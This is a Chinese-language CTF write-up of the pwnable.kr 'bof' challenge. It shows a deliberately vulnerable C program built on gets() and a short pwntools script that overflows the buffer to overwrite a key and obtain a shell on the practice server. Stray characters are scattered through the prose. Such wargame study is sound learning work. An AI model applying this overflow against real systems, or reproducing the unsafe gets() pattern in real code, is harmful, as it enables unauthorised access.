PWN學(xué)習(xí)筆記(三)
0x01
這次我們開始進(jìn)行第三個題目:
截圖_2019-06-19_20-26-11.png
下面就是bof.c的代碼:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
從代碼中我們可以看到這里使用了一個危險函數(shù)gets()
它呀,這里我們可以控制overflowme
的內(nèi)容來控制堆棧的內(nèi)容,覆蓋掉key
的原本的內(nèi)容,讓key
的值等于0xcafebabe
恢暖。這樣我們就可以輕松過關(guān)了盯蝴。是不是很簡單呢禁谦?
0x02
下面我們就來看一下程序的匯編代碼:
截圖_2019-06-19_21-40-30.png
通過上圖显设,我們可以看到我們輸入的變量保存在ebp-0x2c
的地方,而我們的key
則保存在ebp+0x8
的地方棺蛛,這里我們就需要了解一下這時的棧結(jié)構(gòu):
截圖_2019-06-19_22-05-34.png
所以我們需要控制我們的輸入怔蚌,覆蓋掉ebp+0x8
的地方,這里我使用了pwntools
來幫助我實現(xiàn)這段shellcode
旁赊。
from pwn import *
context.log_level = 'debug'
conn = remote('pwnable.kr',9000)
p = 'A'*52
p += p32(0xcafebabe)
conn.sendline(p)
conn.interactive()
我們需要從ebp-0x2c
一直覆蓋到ebp+8
的地方桦踊,一共是56字節(jié),但是最后4個字節(jié)是我們的key
终畅,所以我使用了52個A
加上我們的目標(biāo)字符串進(jìn)行拼接籍胯。
運行上面的這段python代碼,就可以獲得flag了离福。
PS:pwntools
是一個非常好用的pwn工具杖狼,希望大家能掌握它的使用。